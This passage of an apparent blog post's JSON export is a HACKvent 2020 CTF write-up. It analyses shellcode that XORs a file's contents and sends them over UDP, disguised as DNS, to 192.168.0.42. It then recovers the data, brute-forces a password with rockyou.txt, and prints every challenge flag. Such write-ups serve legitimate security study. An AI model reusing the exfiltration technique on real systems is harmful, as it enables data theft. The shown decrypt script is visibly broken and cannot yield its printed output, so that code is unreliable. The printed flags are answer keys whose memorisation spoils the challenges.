class=\"hl\">2<\/span> = <span class=\"hl\">AF_INET<\/span>. The second argument (type stored in <span class=\"hl\">RSI<\/span>) is set to <span class=\"hl\">2<\/span> = <span class=\"hl\">SOCK_DGRAM<\/span>. The last argument (protocol stored in <span class=\"hl\">RDX<\/span>) is set to zero. Accordingly a new UDP socket is created:<\/p>\n\n<code>|           0x0000007a      bf02000000     mov edi, 2\n|           0x0000007f      be02000000     mov esi, 2\n|           0x00000084      4831d2         xor rdx, rdx\n|           0x00000087      b829000000     mov eax, 0x29               ; ')' ; 41\n|           0x0000008c      0f05           syscall\n<\/code>\n\n<p>The return file descriptor is stored in <span class=\"hl\">RDI<\/span>. Two values are pushed onto the stack: <span class=\"hl\">0<\/span> and <span class=\"hl\">0x2a00a8c035000002<\/span>. After this a syscall <span class=\"hl\">0x2c<\/span> = <span class=\"hl\">sys_sendto<\/span> is executed. The pushed value contains the target address: <span class=\"hl\">0x2a00a8c0<\/span> = <span class=\"hl\">192.168.0.42<\/span>. The amounts of bytes send is <span class=\"hl\">0x32<\/span> = <span class=\"hl\">50<\/span>:<\/p>\n\n<code>|           0x0000008e      4889c7         mov rdi, rax\n|           0x00000091      4889e6         mov rsi, rsp\n|           0x00000094      4883c603       add rsi, 3\n|           0x00000098      ba32000000     mov edx, 0x32               ; '2' ; 50\n|           0x0000009d      41ba00000000   mov r10d, 0\n|           0x000000a3      6a00           push 0\n|           0x000000a5      49b802000035.  movabs r8, 0x2a00a8c035000002\n|           0x000000af      4150           push r8\n|           0x000000b1      4989e0         mov r8, rsp\n|           0x000000b4      41b910000000   mov r9d, 0x10\n|           0x000000ba      b82c000000     mov eax, 0x2c               ; ',' ; 44\n|           0x000000bf      0f05           syscall\n<\/code>\n\n<p>At last a syscall <span class=\"hl\">0x3c<\/span> = <span class=\"hl\">sys_exit<\/span> is made, which gracefully terminates the process:<\/p>\n\n<code>|           0x000000c1      bf00000000     mov edi, 0\n|           0x000000c6      b83c000000     mov eax, 0x3c               ; '<' ; 60\n|           0x000000cb      0f05           syscall\n<\/code>\n\n<p>Combining the analysis of the shellcode with the network capture, we can assume that the DNS request was triggered by the shellcode. The shellcode did not only send the bytes read from the file but also additional data, which makes the packet a valid DNS request. Also the data read from the file was XORed with the value <span class=\"hl\">0xdeadbeef<\/span> before being sent.<\/p>\n\n<p>Using this knowledge, let's try to restore the contents of the file <span class=\"hl\">data\/santa_danta.txt<\/span>. We start by copying the query portion of the DNS request from wireshark. At next we store the data into a file. Please notice that the leading byte <span class=\"hl\">0x20<\/span> is the size of the query string, which was statically added within the shellcode and is not part of the file contents read. Thus we must skip the <span class=\"hl\">0x20<\/span>:<\/p>\n\n<code>kali@kali:~$ echo e5afe59d31aca3ca211ec379a673235edab6a08d2ed3b7b66b55857ec834227a0000010001|xxd -r -p>dns_exfil\n<\/code>\n\n<p>In order to recover the original content of the data, we need to XOR every dword with the value <span class=\"hl\">0xdeadbeef<\/span>. The following python script does this:<\/p>\n\n<code>#!\/usr\/bin\/env python3\n\nimport sys\n\nd = open(sys.argv[1], 'rb').read()\nr = b''\nfor i in range(0, len(d), 4):\n  r += (int.from_bytes(d[i:i+4], 'little')^0xdeadbeef).to_bytes(4, 'little')\nf = open(sys.argv[2], 'wb')\nf.write(r)\nf.close()\n<\/code>\n\n<p>Executing the script will XOR every dword and store the result in the file <span class=\"hl\">dns_exfil_xor<\/span>:<\/p>\n\n<code>kali@kali:~$ .\/x0r.py dns_exfil dns_exfil_xor\n<\/code>\n\n<p>At this point the file <span class=\"hl\">dns_exfil_xor<\/span> should contain the original data of the file <span class=\"hl\">data\/santa_data.txt<\/span>, which is the encrypted flag.<\/p>\n\n<p>The last thing we need to do is to decrypt the data. As we have seen, the data is encrypted with the custom hash of Santa's password. We also know that Santa used a password from <span class=\"hl\">rockyou.txt<\/span>. Thus we can calculate the hash for each password in the wordlist, decrypt the data using the hash as a key and verify if the decrypted data begins with <span class=\"hl\">HV20{<\/span>. Again we can use the provided program \/ source code or implement an equivalent python script:<\/p>\n\n<code>#!\/usr\/bin\/env python3\n\nimport sys\n\ndef keystream_get_char(state, key):\n  e = [0xde, 0xad, 0xbe, 0xef, 0xc0, 0x12, 0x34, 0x56, 0x78, 0x9a]\n  c = key[state%16]\n  r = c^state^e\n  return r&0xff\n\ndef decrypt(data, key):\n  r = b''\n  for i,c in enumerate(data):\n    x = bytes()\n    if (x == 0): break\n    r += x\n  return r\n\ndef calc_hash(data):\n  h = [0x68736168, 0xdeadbeef, 0x65726f6d, 0xc00ffeee]\n  a = h[0]\n  b = h[1]\n  c = h[2]\n  d = h[3]\n  for i in range(len(data)):\n    x = ord(data[i])\n    a ^= ((x^((x*(i+0x31))&0xff))&lt;&lt;24) | ((x^((x*(i+0x42))&0xff))&lt;&lt;16) | ((x^((x*(i+0xef))&0xff))&lt;&lt;8) | (x^((x*i)&0xff))\n    b ^= ((x^((x*(i+0xc0))&0xff))&lt;&lt;24) | ((x^((x*(i+0x11))&0xff))&lt;&lt;16) | ((x^((x*(i+0xde))&0xff))&lt;&lt;8) | (x^((x*i)&0x5a))\n    c ^= ((x^((x*(i+0xe3))&0xff))&lt;&lt;24) | ((x^((x*(i+0xde))&0xff))&lt;&lt;16) | ((x^((x*(i+0x0d))&0xff))&lt;&lt;8) | (x^((x*i)&0x22))\n    d ^= ((x^((x*(i+0x52))&0xff))&lt;&lt;24) | ((x^((x*(i+0x24))&0xff))&lt;&lt;16) | ((x^((x*(i+0x33))&0xff))&lt;&lt;8) | (x^((x*i)&0xef))\n    h[0] = d\n    h[1] = a\n    h[2] = b\n    h[3] = c\n  r = (h[0]).to_bytes(4, 'little')+(h[1]).to_bytes(4, 'little')+(h[2]).to_bytes(4, 'little')+(h[3]).to_bytes(4, 'little')\n  return r\n\n\ndata = open(sys.argv[1], 'rb').read()\n\nwl = '\/usr\/share\/wordlists\/rockyou.txt'\nwords = open(wl, encoding='latin-1').read().split('\\n')[:-1]\n\nfor w in words:\n  h = calc_hash(w)\n  pt = decrypt(data, h)\n  if (pt.startswith(b'HV20{')):\n    print('pwd : ' + w)\n    print('flag: ' + pt.decode('latin-1'))\n    quit()\n<\/code>\n\n<p>The scrips iterates the words in <span class=\"hl\">rockyou.txt<\/span>, calculates the custom password hash for the word, decrypts the data using the password hash as the key and then determines, if the decrypted data begins with <span class=\"hl\">HV20{<\/span>:<\/p>\n\n<code>kali@kali:~$ .\/brute_encrypt.py dns_exfil_xor\npwd : xmasrocks\nflag: HV20{0h_n0es_fl4g_g0t_l34k3d!1}...\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{0h_n0es_fl4g_g0t_l34k3d!1}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"h1\">HV20.H1 It's a secret!<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/h1.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"easy\">Easy<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_osint.png\" width=\"20px\"\/> Opensource Intelligence<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nWe hide additional flags in some of the challenges! This is the place to submit them. There is no time limit for secret flags.\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>By base64-decoding the <span class=\"hl\">.bin<\/span> files in the cracked zip-archive from <a href=\"#03\">day 03<\/a>, we can find the hidden flag within the file <span class=\"hl\">0042.bin<\/span>:<\/p>\n\n<code>kali@kali:\/tmp$ for i in `seq 0 99`; do c=$(printf \"00%02d.bin\" $i);echo $c;cat $c|base64 -d|strings; done\n...\n0042.bin\n;>>>>   HV20{it_is_always_worth_checking_everywhere_and_congratulations,_you_have_found_a_hidden_flag}   <<<<\n...<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{it_is_always_worth_checking_everywhere_and_congratulations,_you_have_found_a_hidden_flag}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"h2\">HV20.H2 Oh, another secret!<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/h2.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"hard\">Hard<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_osint.png\" width=\"20px\"\/> Opensource Intelligence<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nWe hide additional flags in some of the challenges! This is the place to submit them. There is no time limit for secret flags.\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The hidden flag is part of the challenge of <a href=\"#14\">day 14<\/a>. Within the beginning of the diassembly, we can notice the following loop:<\/p>\n\n<code>...\n|       .-&gt; 0000:0027      8a87f47c       mov al, byte [bx + 0x7cf4]\n|       :   0000:002b      8a8f9e7c       mov cl, byte [bx + 0x7c9e]\n|       :   0000:002f      84c0           test al, al\n|      ,==&lt; 0000:0031      7407           je 0x3a   \n|      |:   0000:0033      30c8           xor al, cl\n|      |:   0000:0035      cd10           int 0x10  \n|      |:   0000:0037      43             inc bx   \n|      |`=&lt; 0000:0038      ebed           jmp 0x27                  \n...<\/code>\n\n<p>Obivously values from a data area referenced by <span class=\"hl\">byte [bx + 0x7cf4]<\/span> and <span class=\"hl\">byte [bx + 0x7c9e]<\/span> are moved to <span class=\"hl\">al<\/span> and <span class=\"hl\">cl<\/span> respectively. Both registers are then <span class=\"hl\">XOR<\/span>ed and <span class=\"hl\">bx<\/span> is incremented for the next iteration.<\/p>\n\n<p>As I did not know the exact absolute address of the referenced data areas, we can leverage the fact that the relative offset for both addresses used for <span class=\"hl\">al<\/span> and <span class=\"hl\">cl<\/span> is the same. This offset is simply <span class=\"hl\">0x7cf4-0x7c9e = 86<\/span>.<\/p>\n\n<p>Since the referenced data must be within the file, we can iterate over each byte and <span class=\"hl\">XOR<\/span> it with the byte 86 positions ahead. This way we will finally hit the actually referenced data and get the <span class=\"hl\">XOR<\/span>ed result:<\/p>\n\n<code>kali@kali:~\/hv20\/h2$ cat x0r.py \n#!\/usr\/bin\/env python3\n\nct = open('5625d5bc-ea69-433d-8b5e-5a39f4ce5b7c.gif','rb').read()\n\nr = b''\nfor i in range(len(ct)-86):\n  r += bytes([ct[i]^ct[i+86]])\n\nprint(r)\n<\/code>\n\n<p>Running the script outputs the hidden flag:<\/p>\n\n<code>kali@kali:~\/hv20\/h2$ .\/x0r.py \nb'...\\x16\\xcf&\\xd4\\r\\nHV20{h1dd3n-1n-pl41n-516h7}\\xd6s-...'\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{h1dd3n-1n-pl41n-516h7}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"h3\">HV20.H3 Hidden in Plain Sight<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/h3.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"medium\">Medium<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_osint.png\" width=\"20px\"\/> Opensource Intelligence<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nWe hide additional flags in some of the challenges! This is the place to submit them. There is no time limit for secret flags.\n\n<b>Note:<\/b> This is not a OSINT challenge. The icon has been chosen purely to consufe you.<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The hidden flag is part of the challenge from <a href=\"#23\">day 23<\/a>. When doing some initial greping on the backup data, I searched for a possibly base64-encoded flag:<\/p>\n\n<code>kali@kali:~\/hv20\/23$ echo -n 'HV20{'|base64\nSFYyMHs=<\/code>\n\n<p>The address book actually contains the string:<\/p>\n\n<code>kali@kali:~\/hv20\/23$ grep 'SFYyMH' AddressBook.sqlitedb\nBinary file AddressBook.sqlitedb matches<\/code>\n\n<p>The base64-encoded flag is part of an URL:<\/p>\n\n<code>kali@kali:~\/hv20\/23$ strings AddressBook.sqlitedb|grep SFYyMH\nhttp:\/\/SFYyMHtpVHVuM3NfYmFja3VwX2YwcmVuc2l4X0ZUV30=C66731B8-44AE-469B-9086-18A3A1F796B0\nhttp:\/\/SFYyMHtpVHVuM3NfYmFja3VwX2YwcmVuc2l4X0ZUV30=<\/code>\n\n<p>We simply need to decode it:<\/p>\n\n<code>kali@kali:~\/hv20\/23$ echo SFYyMHtpVHVuM3NfYmFja3VwX2YwcmVuc2l4X0ZUV30=|base64 -d\nHV20{iTun3s_backup_f0rensix_FTW}<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{iTun3s_backup_f0rensix_FTW}<\/span>.<\/p><br\/>\n","protected":false},"excerpt":{"rendered":"<p>This year&#8217;s HACKvent hosted on competition.hacking-lab.com has been as great as every year.There was a total amount of 28 awesome challenges with varying difficulties. HV20.(-1) Twelve steps of christmas HV20.01 Happy HACKvent 2020 HV20.02 Chinese Animals HV20.03 Packed gifts HV20.04 Br&#x2764;celet HV20.05 Image DNA HV20.13 Twelve steps of christmas HV20.14 Santa&#8217;s Special GIFt HV20.15 Man &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/devel0pment.de\/?p=2084\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;HACKvent20 writeup&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[25,7],"tags":[8,9,23,47,13,44,18,16,15,45,10,38,12,28,19,14],"class_list":["post-2084","post","type-post","status-publish","format-standard","hentry","category-hacking-lab-com","category-writeup","tag-assembly","tag-binary","tag-crypto","tag-debugging","tag-elf","tag-exploitation","tag-gdb","tag-hacking-lab","tag-hackvent","tag-linux","tag-pwn","tag-python","tag-reversing","tag-web","tag-x64","tag-x86"],"_links":{"self":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2084"}],"collection":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2084"}],"version-history":[{"count":23,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2084\/revisions"}],"predecessor-version":[{"id":2214,"href":"https:\/\/devel0pment.de\/index.php?rest_route=\/wp\/v2\/posts\/2084\/revisions\/2214"}],"wp:attachment":[{"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2084"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2084"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devel0pment.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2084"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}